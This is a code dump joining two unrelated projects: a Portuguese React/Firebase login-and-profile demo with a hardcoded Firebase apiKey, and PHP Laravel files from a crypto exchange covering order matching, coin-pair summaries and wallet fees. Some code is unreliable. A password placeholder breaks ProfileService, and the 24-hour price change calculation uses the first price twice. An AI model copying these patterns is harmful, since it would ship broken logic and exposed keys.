id="andamento" align="center"> 🚧 Projeto concluído 🚀 </h2> <p id="funcionalidades"></p> <h3>Funcionalidades</h2> - [x] Login ( Autenticação ) | FireAuth. - [x] Feedback ( Resposta para o usuario, positiva e negativa ) | Bootstrap ( ReactStrap ). - [x] Cadastro ( Autenticação ). - [x] Verificação ( Verificação se os campos foram digitados ) | Resolução com funções. - [x] Feedback ( Resposta para o usuario, positiva e negatia ) | Bootstrap ( ReactStrap ). - [x] Recuperação de senha ( Encaminhação de um e-mail, para o mesmo do cadastro, para nova senha ) | Funções desenvolvidas em cima da documentação do fireStore. - [x] Feedback ( Respostas positivas e negativas ) | Resolução com funções. - [x] Verificação (Verifica se existe esse usuario em nosso sistema, antes mesmo de encaminhar o e-mail) - [x] Contato profundo ( Antes de encaminhar o e-mail, é exibido uma mensagem, indicando-o com seu nome, para entrar em seu e-mail) - [x] Area Restrita ( Ambiente exclusivo, para cada cliente, com seu nome e informações ) | Resolução com funções; - [x] Encaminhar Email ( Enviar e-mail, com seus proprios dados, para outras empresas (Proprio email, pois nao tem empresas)) | Mailto - [x] Encaminhar dados ( Apenas autenticado, é permitido enviar seus dados ) - [x] Front-End ( React ) - [x] Styled-Components - [x] Back-End ( API ) - Firebase/FireStore <h3 id="decisoes"> Decisões </h3> <p> Optei neste projeto por utilizar duas tecnologias, uma para o front-End, sendo o React e a outra para desenvolver o backend, criar essa conexão da api, com o banco de dados, escolhi o FireStore ( FireBase ). O React já não restava duvidas, que seria utilizado, pela praticidade e tecnologia, por ser em minha visão, a melhor biblioteca para javaScript. Já o fireStore, optei por ele, um pouco pela questão da familiaridade, que tenho, mas muito mais, pela questão do tempo, pela escasses, de desenvolvimento mesmo. Como colocado a cima, desenvolvi esse projeto em 8 horas, sendo que não tinha conhecimento na parte de criação mesmo, configuração do firebase, implementar essas questoes de autenticação, era coisas que realmente nao sabia, mexer com rotas, não fazia ideia de como funcionavam, essas configurações e implementações. Mas isso só me mostrou mais ainda o caminho da evolução, por mais besteira que possa parecer, sempre que realizo proezas que não era capaz de fazer, por achar que não tinha esse conhecimento, me sinto mais confortavel e prazer por me desafiar mais e mais e provar que sou a unica pessoa que está entre os desafios, a luta interna, é muito mais intensa do que a de qualquer conhecimento. Ps: sei que o frontEnd não ficou bonito, mas pelo tempo, decidi focar nas coisas que eram importantes para o projeto, os MVPS. </p> <h3 id="rodar">Como rodar o projeto ?</h3> 1: Clonar o projeto. 2: Abrir o terminal dentro da pasta. 3: Rodar o comando "Yarn", pois instalara todas as dependencias. 4: Por ultimo, apenas rodar o comando "Yarn start", que botara o servidor para funcionar. <h3>Autor</h3> <p><NAME></p> <file_sep>import firebase from 'firebase/app'; import 'firebase/firestore'; import 'firebase/auth'; var firebaseConfig = { apiKey: "AIzaSyCXRaZ9d7oplN-ADws9iDSA86NmiSThkxw", authDomain: "wokeselectiveprocess.firebaseapp.com", projectId: "wokeselectiveprocess", storageBucket: "wokeselectiveprocess.appspot.com", messagingSenderId: "891094980240", appId: "1:891094980240:web:70518221f4f59beaa66a15", measurementId: "G-Y1VF2E0G5N" }; if(!firebase.apps.length) { firebase.initializeApp(firebaseConfig); } export const fireAuth = firebase.auth(); export const fireStore = firebase.firestore();<file_sep>import React, { useContext } from 'react'; import PropTypes from 'prop-types'; import { Route, Redirect } from 'react-router-dom'; import AuthContext from '../context/AuthContext'; const PrivateRoute = ({ children, ...rest }) => { const { isAuthenticated } = useContext(AuthContext); const getComponent = (location) => { switch (isAuthenticated) { default: case undefined: return <div>carregando...</div>; case false: return ( <Redirect to={{ pathname: '/login', }} /> ); case true: return children; } }; return <Route {...rest} render={({ location }) => getComponent(location)} />; }; PrivateRoute.propTypes = { children: PropTypes.node.isRequired, }; export default PrivateRoute; <file_sep>import React from 'react'; import styled from 'styled-components'; import PropTypes from 'prop-types'; const ButtonStyle = styled.button` display: inline-flex; align-items: center; border-radius: 21px; width: auto; height: 42px; line-height: 42px; padding: 0 32px; background-color: #f05623; color: #fff; box-shadow: none; border: none; outline: 0 !important; font-weight: 600; margin: 15px 0; :hover { cursor: pointer; text-decoration: underline; } `; const DefaultButton = ({ label, onClick }) => <ButtonStyle onClick={onClick}>{label}</ButtonStyle>; DefaultButton.propTypes = { label: PropTypes.string.isRequired, onClick: PropTypes.func.isRequired, }; export default DefaultButton; <file_sep>import React, { useEffect, useState } from 'react'; import styled from 'styled-components'; import { fireAuth } from '../config/firebase'; import { getUser } from '../database/user'; import DefaultTitle from '../components/DefaultTitle'; import DefaultText from '../components/DefaultText'; import DefaultButton from '../components/DefaultButton'; import Logo from '../assets/images/WokeLogo.png'; import reactDom from 'react-dom'; const Container = styled.div` display: flex; flex: 1; justify-content: center; align-items: center; flex-direction: column; `; const Spacer = styled.div` display: flex; flex: 1; justify-content: center; align-items: center; flex-direction: column; margin-bottom: 80px; `; const HeaderContainer = styled.div` height: 100px; width: 100%; display: flex; align-items: center; justify-content: space-between; box-shadow: inset 10px 0 20px rgba(0, 0, 0, 0.1); border: 1px solid #ccc; padding: 0 20%; @media (max-width: 1200px) { padding: 0 3%; height: 80px; } `; const HeaderContainerMain = styled.div` height: 100px; width: 100%; display: flex; align-items: center; justify-content: center; box-shadow: inset 10px 0 20px rgba(0, 0, 0, 0.1); border: 1px solid #ccc; padding: 0 20%; @media (max-width: 1200px) { padding: 0 3%; height: 80px; } `; const Mailto = ({ email, subject, body, children }) => { return ( <a style={{ border: '1px solid', padding: 20, color: 'white', backgroundColor: '#f05623', borderRadius: 15, fontWeight: 600, textDecoration: 'none'}} href={`mailto:${email}?subject=${encodeURIComponent(subject) || ''}&body=${encodeURIComponent(body) || ''}`} >{children}</a> ); }; const Home = () => { const [ user, setUser ] = useState({}); useEffect(() => { getUser().then((data) => setUser(data)); }, []) return ( <Container> <HeaderContainerMain> <HeaderContainer> <img src={Logo} style={{ height: 40 }} /> <DefaultButton label='Desconectar' onClick={() => fireAuth.signOut()} /> </HeaderContainer> </HeaderContainerMain> <DefaultTitle style={{ marginTop: 70 }}> Área restrita do usuário <strong>{user?.nome}</strong> </DefaultTitle> <Spacer /> <DefaultText> Telefone <strong>{user?.telefone}</strong> </DefaultText> <DefaultText> Data De Nascimento <strong>{user?.nascimento}</strong> </DefaultText> <DefaultText> E-mail <strong>{user?.email}</strong> </DefaultText> <Spacer /> <Mailto email={user?.email} children='Enviar dados para as empresas ( Sera enviado em seu e-mail cadastrado ) !' subject='Dados do profissional' body={` Olá, seguem as informações sobre o profissional ! Nome ${user?.nome}, Telefone: ${user?.telefone}, Data De Nascimento: ${user?.nascimento} E-mail: ${user?.email} `} /> </Container> ); }; export default Home; <file_sep>import React, { useState, createContext, useEffect } from 'react'; import PropTypes from 'prop-types'; import { fireAuth } from '../config/firebase'; const AuthContext = createContext({ isAuthenticated: undefined, user: null }); export const AuthProvider = ({ children }) => { const [isAuthenticated, setIsAuthenticated] = useState(undefined); const [user, setUser] = useState(null); useEffect(() => { const unsub = fireAuth.onAuthStateChanged((user) => { if (user) { setUser(user); setIsAuthenticated(true); } else { setIsAuthenticated(false); } }); return () => unsub(); }, []); return ( <AuthContext.Provider value={{ isAuthenticated, user, }} > {children} </AuthContext.Provider> ); }; AuthProvider.propTypes = { children: PropTypes.node.isRequired, }; export default AuthContext; <file_sep>import React, { useState } from 'react'; import styled from 'styled-components'; import { Link, useHistory } from 'react-router-dom'; import { fireAuth } from '../config/firebase'; import { createAlert } from '../config/CreateAlert'; import LoginBox from '../components/LoginBox'; import DefaultTitle from '../components/DefaultTitle'; import DefaultInput from '../components/DefaultInput'; import DefaultButton from '../components/DefaultButton'; import { Alert } from 'reactstrap'; const Container = styled.div` display: flex; flex: 1; justify-content: center; align-items: center; flex-direction: column; `; const BottomLinks = styled(Link)` display: block; color: #333; font-weight: 600; text-align: center; margin-top: 8px; text-decoration: none; :hover { text-decoration: underline #f05623; } `; const Login = () => { const [user, setUser] = useState(''); const [password, setPassword] = useState(''); const [showError, setShowError] = useState(false); const [showSuccess, setShowSuccess] = useState(false); const history = useHistory(); const modalErro = () => { setShowError(true); setTimeout(() => { setShowError(false); }, 4000); } const modalSuccess = () => { setShowError(false); setShowSuccess(true); setTimeout(() => { setShowSuccess(false); }, 4000); } return ( <Container> <DefaultTitle style={{ marginTop: 70, marginBottom: 40 }} > Acesse a <strong>Woke</strong> </DefaultTitle> <LoginBox> <Alert color="danger" isOpen={showError}> Ocorreu algum erro, verifique suas credenciais ! </Alert> <Alert color="success" isOpen={showSuccess}> Tudo certo, iremos te redirecionar ! </Alert> <DefaultInput value={user} label='Usuário' type='email' onChange={(event) => setUser(event.target.value)} /> <DefaultInput value={password} label='Senha' type='password' onChange={(event) => setPassword(event.target.value)} /> <DefaultButton onClick={() => fireAuth .signInWithEmailAndPassword(user, password) .then(() => { modalSuccess(); setTimeout(() => history.replace('/'), 4000); }) .catch((e) => { modalErro(); }) } label='Login' /> <BottomLinks to='/first-access'>Primeiro Acesso?</BottomLinks> <BottomLinks to='/recover-password'>Esqueceu sua senha?</BottomLinks> </LoginBox> </Container> ); }; export default Login; <file_sep>import styled from 'styled-components'; const LoginBox = styled.div` border: 1px solid #f2f2f2; border-radius: 4px; background-color: #f9f9f9; width: 30%; padding: 50px; display: flex; flex-direction: column; align-items: center; @media (max-width: 1200px) { width: 60%; } @media (max-width: 768px) { width: 90%; } `; export default LoginBox; <file_sep>import React, { useState } from 'react'; import styled from 'styled-components'; import { Link, useHistory } from 'react-router-dom'; import { fireAuth } from '../config/firebase'; import LoginBox from '../components/LoginBox'; import { createAlert } from '../config/CreateAlert'; import DefaultInput from '../components/DefaultInput'; import DefaultButton from '../components/DefaultButton'; import DefaultTitle from '../components/DefaultTitle'; import { createUser } from '../database/user'; import { Alert } from 'reactstrap'; const Container = styled.div` display: flex; flex: 1; justify-content: center; align-items: center; flex-direction: column; `; const BottomLinks = styled(Link)` display: block; color: #333; font-weight: 600; text-align: center; margin-top: 8px; text-decoration: none; :hover { text-decoration: underline #f05623; } `; const Register = () => { const [user, setUser] = useState(''); const [password, setPassword] = useState(''); const [birthDay, setBirthDay] = useState(''); const [name, setName] = useState(''); const [phone, setPhone] = useState(''); const [confirmPassword, setConfirmPassword] = useState(''); const history = useHistory(); const [showError, setShowError] = useState(false); const [showSuccess, setShowSuccess] = useState(false); const verifyFields = () => { if(user === '' || birthDay === '' || name === '' || phone === '' || password !== confirmPassword) { setShowError(true); setTimeout(() => { setShowError(false); }, 4000); } else { setShowError(false); setShowSuccess(true); fireAuth .createUserWithEmailAndPassword(user, password) .then(() => { fireAuth.signInWithEmailAndPassword(user, password).then((data) => { const dataAll = { nome: name, telefone: phone, email: user, nascimento: birthDay, } createUser(data.user, dataAll); setTimeout(() => { setShowSuccess(false); history.replace('/'); }, 4000); }); }) .catch((e) => { createAlert(e.message); }) } } return ( <Container> <DefaultTitle style={{ marginTop: 20, marginBottom: 20 }} > Realize seu cadastro na <strong>Woke</strong> </DefaultTitle> <LoginBox> <Alert color="danger" isOpen={showError}> Ocorreu algum erro, você precisa preencher todos os dados e verificar se a senha esta igual à confirmação ! </Alert> <Alert color="success" isOpen={showSuccess}> Cadastro realizado, iremos te redirecionar ! </Alert> <DefaultInput value={name} label='Nome' type='text' onChange={(event) => setName(event.target.value)} /> <DefaultInput value={phone} label='Telefone' type='text' onChange={(event) => setPhone(event.target.value)} /> <DefaultInput value={birthDay} label='Data De Nascimento' type='date' onChange={(event) => setBirthDay(event.target.value)} /> <DefaultInput value={user} type='email' label='Email' onChange={(event) => setUser(event.target.value)} /> <DefaultInput value={password} label='Senha' type='password' onChange={(event) => setPassword(event.target.value)} /> <DefaultInput value={confirmPassword} label='Confirme sua Senha' type='password' onChange={(event) => setConfirmPassword(event.target.value)} /> <DefaultButton onClick={() => verifyFields()} label='Registar Acesso' /> <BottomLinks to='/login'>Já é registado ?</BottomLinks> <BottomLinks to='/recover-password'>Esqueceu sua senha?</BottomLinks> </LoginBox> </Container> ); }; export default Register;
79dfa0b8441f4f530b39118ca0c90712d06bbbe7
[ "JavaScript", "Markdown" ]
12
JavaScript
Mateussantis/Woke-ProcessoSeletivo
14ef25e4b42e3f1aa6bdc79224729dd25b48247b
7769cf25fff75b3082f010cdf413fb926ef405d0
refs/heads/main
<file_sep><?php namespace App\Models\Page; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Support\Str; use Stevebauman\Purify\Facades\Purify; class Page extends Model { public $incrementing = false; protected $primaryKey = 'slug'; protected $keyType = 'string'; protected $fillable = [ 'slug', 'title', 'content', 'meta_description', 'meta_keywords', 'is_published', ]; protected $fakeFields = [ 'slug', 'title', 'content', 'meta_description', 'meta_keywords', 'is_published', ]; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::slug($model->title); }); static::updating(static function ($model) { $model->{$model->getKeyName()} = Str::slug($model->title); }); } public function setMetaKeywordsAttribute($value): void { $this->attributes['meta_keywords'] = json_encode($value); } public function getMetaKeywordsAttribute($value) { return json_decode($value, true); } public function getContentAttribute($value) { return Purify::clean($value); } } <file_sep><?php namespace App\Models\Order; use App\Broadcasts\Exchange\OrderBroadcast; use App\Jobs\Order\ProcessOrderJob; use App\Models\Coin\Coin; use App\Models\Coin\CoinPair; use App\Models\Core\User; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Support\Str; class Order extends Model { public $incrementing = false; protected $keyType = 'string'; protected $fillable = [ 'user_id', 'trade_coin', 'base_coin', 'trade_pair', 'category', // limit, market, stop limit 'type', 'status', 'price', 'amount', 'exchanged', 'total', 'canceled', 'stop_limit', 'maker_fee_in_percent', 'taker_fee_in_percent', ]; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::uuid()->toString(); $model->trade_pair = sprintf("%s_%s", $model->trade_coin, $model->base_coin); }); } public function coinPair(): BelongsTo { return $this->belongsTo(CoinPair::class, 'trade_pair', 'name'); } public function coin(): BelongsTo { return $this->belongsTo(Coin::class, 'trade_coin', 'symbol'); } public function baseCoin(): BelongsTo { return $this->belongsTo(Coin::class, 'base_coin', 'symbol'); } public function user(): BelongsTo { return $this->belongsTo(User::class); } public function scopeStatusOpen($query) { return $query->where('status', STATUS_PENDING); } } <file_sep><?php namespace App\Services\Orders; use App\Models\Core\User; use App\Models\Order\Order; use App\Services\Logger\Logger; use Carbon\Carbon; use Exception; class ProcessLimitOrderService { use ProcessOrder; private $order; private $settings; private $exchangesAttributes; private $ordersAttributes; private $referralEarningsAttributes; private $walletsAttributes; private $broadcastOrdersAttributes; private $broadcastOrderSettlementAttributes; private $exchangedOrderAmount; private $exchangedOrderTotal; private $exchangedOrderFee; private $exchangeLastPrice; private $orderStatus; private $date; private $isBuyOrder; private $systemUser; private $lastOppositeOrder; private $previousLastPrice; public function __construct(Order $order) { $this->order = $order; $this->previousLastPrice = $order->coinPair->last_price; $this->lastOppositeOrder = null; $this->exchangedOrderAmount = 0; $this->exchangedOrderTotal = 0; $this->exchangedOrderFee = 0; $this->exchangeLastPrice = 0; $this->systemUser = User::superAdmin()->first(); $this->isBuyOrder = $this->order->type === ORDER_TYPE_BUY; $this->settings = settings([ 'referral', 'referral_percentage', ]); $this->exchangesAttributes = collect([]); $this->ordersAttributes = collect([]); $this->referralEarningsAttributes = collect([]); $this->walletsAttributes = collect([]); $this->broadcastOrdersAttributes = collect([]); $this->broadcastOrderSettlementAttributes = collect([]); $this->date = Carbon::now(); } public function process() { try { //Order processing start from here $this->startProcessing(); if (bccomp($this->exchangedOrderAmount, '0') <= 0) { return; } if (!empty($this->lastOppositeOrder)) { //Opposite order settlement $this->settlementOrder($this->lastOppositeOrder); } //Push the order attributes for update $this->ordersAttributes->push([ 'conditions' => ['id' => $this->order->id, 'status' => STATUS_PENDING], 'fields' => [ 'status' => $this->orderStatus, 'exchanged' => ['increment', $this->exchangedOrderAmount] ] ]); $walletAmount = bcsub($this->exchangedOrderTotal, $this->exchangedOrderFee); if ($this->isBuyOrder) { $walletAmount = bcsub($this->exchangedOrderAmount, $this->exchangedOrderFee); } //Update the order's user's wallet $this->makeWalletsAttributes( $this->order->user_id, $this->getIncomingCoinSymbol($this->order), $walletAmount ); //Order settlement $this->settlementOrder($this->order); //Closing the process $this->close(); } catch (Exception $exception) { Logger::error($exception, "[FAILED][ProcessLimitOrderService][process]"); } return; } private function oppositeOrderProcessing(Order $oppositeOrder) { //Assume the order is maker $isMaker = 1; //The order is taker if the order is place after the opposite order if ($this->order->created_at > $oppositeOrder->created_at) { $isMaker = 0; } //Calculate the order remaining amount $remainingOrderAmount = bcsub(bcsub($this->order->amount, $this->order->exchanged), $this->exchangedOrderAmount); //Calculate the order remaining total $remainingOrderTotal = bcmul($remainingOrderAmount, $this->order->price); //Calculate the opposite order remaining amount $remainingOppositeOrderAmount = bcsub($oppositeOrder->amount, $oppositeOrder->exchanged); //Calculate the opposite order remaining total $remainingOppositeOrderTotal = bcmul($remainingOppositeOrderAmount, $oppositeOrder->price); //If the order remaining total less than or equal zero then the process will stop if (bccomp($remainingOrderTotal, '0') <= 0) { return false; } /** * If the opposite order remaining total less than or equal zero * then the opposite order will be completed and return back the * remaining amount to the opposite orders's user's wallet and * the process will continue with remaining opposite orders */ if (bccomp($remainingOppositeOrderTotal, '0') <= 0) { $this->settlementOrder($oppositeOrder); return true; } //Assume the order remaining amount is the tradable amount $tradableAmount = $remainingOrderAmount; //Assume the order status is pending $this->orderStatus = STATUS_PENDING; //Assume the opposite order status is pending $oppositeOrderStatus = STATUS_PENDING; /* * If the order remaining amount is greater than the opposite order amount * then the opposite order amount is the tradable amount * and the opposite order will be completed. If the order amount is less than * the opposite order then the order amount is the tradable amount and * the order will be completed. If both are equal then both order will be completed. */ if (bccomp($remainingOrderAmount, $remainingOppositeOrderAmount) > 0) { $tradableAmount = $remainingOppositeOrderAmount; $oppositeOrderStatus = STATUS_COMPLETED; } else if (bccomp($remainingOrderAmount, $remainingOppositeOrderAmount) < 0) { $this->orderStatus = STATUS_COMPLETED; $this->lastOppositeOrder = $oppositeOrder; } else if (bccomp($remainingOrderAmount, $remainingOppositeOrderAmount) === 0) { $oppositeOrderStatus = STATUS_COMPLETED; $this->orderStatus = STATUS_COMPLETED; } //Calculate the opposite order total $oppositeOrderTotal = bcmul($tradableAmount, $oppositeOrder->price); //Calculate the order total $orderTotal = bcmul($tradableAmount, $this->order->price); //Increase the exchange order amount by the tradable amount $this->exchangedOrderAmount = bcadd($this->exchangedOrderAmount, $tradableAmount); //Increase the exchange order total by the order total $this->exchangedOrderTotal = bcadd($this->exchangedOrderTotal, $orderTotal); //Update latest price based on maker $this->exchangeLastPrice = $isMaker ? $this->order->price : $oppositeOrder->price; //Calculate the order trade fee $orderFee = $this->calculateTradeFee($this->order, $tradableAmount, $orderTotal, $isMaker); //Calculate the opposite order trade fee $oppositeOrderFee = $this->calculateTradeFee($oppositeOrder, $tradableAmount, $oppositeOrderTotal, !$isMaker); //Increase the order exchange fee by the exchange fee $this->exchangedOrderFee = bcadd($this->exchangedOrderFee, $orderFee); //Push the opposite order attributes for update $this->ordersAttributes->push([ 'conditions' => ['id' => $oppositeOrder->id, 'status' => STATUS_PENDING], 'fields' => [ 'status' => $oppositeOrderStatus, 'exchanged' => ['increment', $tradableAmount] ] ]); //Push the order attributes for broadcasting $this->broadcastOrdersAttributes->push([ 'user_id' => $this->order->user_id, 'order_id' => $this->order->id, 'category' => $this->order->category, 'type' => $this->order->type, 'price' => $this->order->price, 'amount' => $tradableAmount, 'total' => $orderTotal, 'fee' => $orderFee, 'is_maker' => $isMaker, 'date' => $this->date->unix() ]); //Push the opposite order attributes for broadcasting $this->broadcastOrdersAttributes->push([ 'user_id' => $oppositeOrder->user_id, 'order_id' => $oppositeOrder->id, 'category' => $oppositeOrder->category, 'type' => $oppositeOrder->type, 'price' => $oppositeOrder->price, 'amount' => $tradableAmount, 'total' => $oppositeOrderTotal, 'fee' => $oppositeOrderFee, 'is_maker' => !$isMaker, 'date' => $this->date->unix() ]); //Assume the order referral earning is 0 $orderReferralEarning = 0; //Assume the opposite order referral earning is 0 $oppositeOrderReferralEarning = 0; //If the referral is active and the referral percentage is greater than 0 then if ($this->settings['referral'] && bccomp($this->settings['referral_percentage'], "0") > 0) { $orderReferralEarning = $this->giveReferralEarningToReferrer($this->order, $orderFee); $oppositeOrderReferralEarning = $this->giveReferralEarningToReferrer($oppositeOrder, $oppositeOrderFee); } //Push the order exchange attributes for insert $this->makeExchangesAttributes( $this->order, $tradableAmount, $orderFee, $orderReferralEarning, $isMaker, $oppositeOrder ); //Push the opposite order exchange attributes for insert $this->makeExchangesAttributes( $oppositeOrder, $tradableAmount, $oppositeOrderFee, $oppositeOrderReferralEarning, !$isMaker, $this->order ); //Push the incoming coin to the opposite order's user's wallet $this->makeWalletsAttributes( $oppositeOrder->user_id, $this->getIncomingCoinSymbol($oppositeOrder), $this->isBuyOrder ? bcsub($oppositeOrderTotal, $oppositeOrderFee) : bcsub($tradableAmount, $oppositeOrderFee) ); //Push the order trade fee to the system's wallet $this->makeWalletsAttributes( $this->systemUser->id, $this->getIncomingCoinSymbol($this->order), bcsub($orderFee, $orderReferralEarning), ACTIVE ); //Push the opposite order trade fee to the system's wallet $this->makeWalletsAttributes( $this->systemUser->id, $this->getIncomingCoinSymbol($oppositeOrder), bcsub($oppositeOrderFee, $oppositeOrderReferralEarning), ACTIVE ); //Returning false will stop the further processing return $this->orderStatus === STATUS_PENDING; } } <file_sep><?php namespace App\Http\Controllers\Page; use App\Http\Controllers\Controller; use App\Models\Page\Page; use Illuminate\Http\RedirectResponse; use Illuminate\Http\Request; class ChangePageStatusController extends Controller { public function changePublishStatus(Page $page): RedirectResponse{ if ($page->toggleStatus('is_published')) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('Successfully page status changed.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to change status. Please try again.')); } } <file_sep><?php namespace App\Services\Exchange; use App\Models\Coin\CoinPair; use Carbon\Carbon; use Illuminate\Database\Eloquent\Collection; use Illuminate\Http\JsonResponse; use Illuminate\Support\Arr; class CoinPairService { public function getPair($conditions) { return CoinPair::where($conditions) ->leftJoin('coins as base_coins', 'coin_pairs.base_coin', '=', 'base_coins.symbol') ->leftJoin('coins as coins', 'coin_pairs.trade_coin', '=', 'coins.symbol') ->select($this->_selectData()); } public function _selectData(): array { return [ 'coin_pairs.name', 'coins.symbol as trade_coin_symbol', 'coins.name as trade_coin_name', 'coins.type as trade_coin_name_type', 'coins.icon as trade_coin_icon', // base item 'base_coins.symbol as base_coin_symbol', 'base_coins.name as base_coin_name', 'base_coins.type as base_coin_type', 'base_coins.icon as base_coin_icon', // 24hr pair detail 'last_price', 'exchange_24', //summary 'coin_pairs.base_coin_buy_order_volume', 'coin_pairs.coin_buy_order_volume', 'coin_pairs.base_coin_sale_order_volume', 'coin_pairs.coin_sale_order_volume', 'coin_pairs.exchanged_buy_total', 'coin_pairs.exchanged_sale_total', 'coin_pairs.exchanged_amount', 'coin_pairs.exchanged_maker_total', 'coin_pairs.exchanged_buy_fee', 'coin_pairs.exchanged_sale_fee', 'coin_pairs.is_active', 'coin_pairs.is_default', 'coin_pairs.created_at', ]; } public function _generateExchangeSummary(&$coinPair, $date): void { $exchange24 = $coinPair->exchange_24; $coinPair->exchanged_coin_volume_24 = 0; $coinPair->exchanged_base_coin_volume_24 = 0; $coinPair->high_24 = 0; $coinPair->low_24 = 0; $coinPair->change_24 = 0; $coinPair->trade_pair = $coinPair->name; $coinPair->trade_coin_icon = get_coin_icon($coinPair->trade_coin_icon); $coinPair->base_coin_icon = get_coin_icon($coinPair->base_coin_icon); if (!empty($exchange24)) { foreach ($exchange24 as $time => $data) { if ($date > $time) { unset($exchange24[$time]); } else { break; } } if (!empty($exchange24)) { $firstPrice = Arr::first(($exchange24))['price']; $lastPrice = Arr::first(($exchange24))['price']; $coinPair->exchanged_coin_volume_24 = array_sum(array_column($exchange24, 'amount')); $coinPair->exchanged_base_coin_volume_24 = array_sum(array_column($exchange24, 'total')); $coinPair->high_24 = max(array_column($exchange24, 'price')); $coinPair->low_24 = min(array_column($exchange24, 'price')); $coinPair->change_24 = bcmul(bcdiv(bcsub($lastPrice, $firstPrice), $firstPrice), '100'); } } } public function getCoinMarket(): array { $coinMarkets = $this->_getAllcoinPairDetailByConditions(); $baseCoins = []; foreach( $coinMarkets as $coinMarket ) { $baseCoins[$coinMarket->base_coin_symbol] = get_coin_icon($coinMarket->base_coin_icon); } return [ 'coins' => $coinMarkets->toArray(), 'baseCoins' => $baseCoins, ]; } public function _getAllCoinPairDetailByConditions(): Collection { $coinPairs = $this->getPair($this->_conditions())->get(); $date = Carbon::now()->subDay()->timestamp; foreach ($coinPairs as $coinPair) { $this->_generateExchangeSummary($coinPair, $date); } return $coinPairs; } public function _conditions(): array { return [ 'coin_pairs.is_active' => ACTIVE, 'coins.is_active' => ACTIVE, 'base_coins.is_active' => ACTIVE, 'base_coins.exchange_status' => ACTIVE, 'coins.exchange_status' => ACTIVE, ]; } public function refactorCoinPair(&$coinPairs): void { $date = Carbon::now()->subDay()->timestamp; foreach ($coinPairs as $coinPair) { $this->_generateExchangeSummary($coinPair, $date); } } } <file_sep><?php namespace App\Services\Core; use App\Http\Requests\Core\{PasswordUpdateRequest, UserAvatarRequest}; use App\Models\Core\Notification; use App\Models\Exchange\Exchange; use App\Models\Order\Order; use App\Models\Wallet\Wallet; use Illuminate\Support\Facades\{Auth, Hash}; class ProfileService { public function profile() { return ['user' => Auth::user()->load('role')]; } public function updatePassword(PasswordUpdateRequest $request) { $update = ['password' => <PASSWORD>::make($request->new_password)]; if (Auth::user()->update($update)) { $notification = ['user_id' => Auth::id(), 'message' => __("You just changed your account's password.")]; Notification::create($notification); return [ RESPONSE_STATUS_KEY => true, RESPONSE_MESSAGE_KEY => __('Password has been changed successfully.') ]; } return [ RESPONSE_STATUS_KEY => false, RESPONSE_MESSAGE_KEY => __('Failed to change password.') ]; } public function avatarUpload(UserAvatarRequest $request) { $uploadedAvatar = app(FileUploadService::class)->upload($request->file('avatar'), config('commonconfig.path_profile_image'), 'avatar', 'user', Auth::id(), 'public', 300, 300); if ($uploadedAvatar) { $parameters = ['avatar' => $uploadedAvatar]; if (Auth::user()->update($parameters)) { return [ RESPONSE_STATUS_KEY => RESPONSE_TYPE_SUCCESS, RESPONSE_MESSAGE_KEY => __('Avatar has been uploaded successfully.'), 'avatar' => get_avatar($uploadedAvatar), ]; } } return [ RESPONSE_STATUS_KEY => RESPONSE_TYPE_ERROR, RESPONSE_MESSAGE_KEY => __('Failed to upload the avatar.') ]; } public function routesForAdmin($userId) { $userRelatedInfo = $this->userRelatedInfo($userId); $info = [ 'walletRouteName' => 'admin.users.wallets.index', 'walletRoute' => route('admin.users.wallets.index', ['user' => $userId]), 'openOrderRouteName' => 'admin.users.order.open', 'openOrderRoute' => route('admin.users.order.open', ['user' => $userId]), 'tradeHistoryRouteName' => 'admin.users.trading-history', 'tradeHistoryRoute' => route('admin.users.trading-history', ['user' => $userId]), ]; return array_merge($userRelatedInfo, $info); } public function userRelatedInfo($userId) { $totalWallets = Wallet::where(['user_id' => $userId])->count(); $totalOpenOrders = Order::where(['user_id' => $userId, 'status' => STATUS_PENDING])->count(); $totalTrades = Exchange::where(['user_id' => $userId])->count(); return [ 'totalWallets' => $totalWallets, 'totalOpenOrders' => $totalOpenOrders, 'totalTrades' => $totalTrades, ]; } public function routesForUser($userId) { $userRelatedInfo = $this->userRelatedInfo($userId); $info = [ 'walletRouteName' => 'user.wallets', 'walletRoute' => route('user.wallets', ['user' => $userId]), 'openOrderRouteName' => 'trader.order.open-order', 'openOrderRoute' => route('trader.order.open-order'), 'tradeHistoryRouteName' => 'reports.trader.trades', 'tradeHistoryRoute' => route('reports.trader.trades'), ]; return array_merge($userRelatedInfo, $info); } } <file_sep><?php /** @var Factory $factory */ use App\Models\Coin\CoinPair; use Faker\Generator as Faker; use Illuminate\Database\Eloquent\Factory; $factory->define(CoinPair::class, function (Faker $faker) { return [ 'trade_coin' => 'BTC', 'base_coin' => 'USD', 'last_price' => $faker->numberBetween(7000, 10000), ]; }); <file_sep><?php namespace App\Services\Wallet; use App\Models\Core\User; use App\Models\Wallet\Wallet; use App\Services\Logger\Logger; use App\Services\Referral\ReferralService; use Exception; use Illuminate\Support\Facades\DB; class SystemWalletService { public function addFee(User $referralUser, string $coin, float $systemFee, bool $applyReferralBonus = false): bool { try { $systemWallet = Wallet::where('symbol', $coin) ->where('is_system_wallet', ACTIVE) ->first(); if (empty($systemWallet)) { throw new Exception(__("System wallet could not found.")); } $actualSystemFee = $systemFee; //Check referrer and referrer user if ( settings('referral') == ACTIVE && $applyReferralBonus && $referralUser->referrer ) { //Increment referral amount to correspond the referral user wallet $actualSystemFee = app(ReferralService::class)->addEarning($referralUser, $systemFee, $coin); } //Increment system fee to system wallet if (!$systemWallet->increment('primary_balance', $actualSystemFee)) { throw new Exception(__("Failed to update system fee to system wallet")); } } catch (Exception $exception) { Logger::error($exception, "[FAILED][SystemWalletService][addFee]"); return false; } return true; } public function subtractFee(string $coin, float $systemFee): bool { try { $systemWallet = Wallet::where('symbol', $coin) ->where('is_system_wallet', ACTIVE) ->first(); if (empty($systemWallet)) { throw new Exception(__("System wallet could not found.")); } //Decrement system fee to system wallet if (!$systemWallet->decrement('primary_balance', $systemFee)) { throw new Exception(__("Failed to update system fee to system wallet")); } } catch (Exception $exception) { Logger::error($exception, "[FAILED][SystemWalletService][subtractFee]"); return false; } return true; } } <file_sep><?php namespace App\Http\Controllers\Core; use App\Http\Controllers\Controller; use 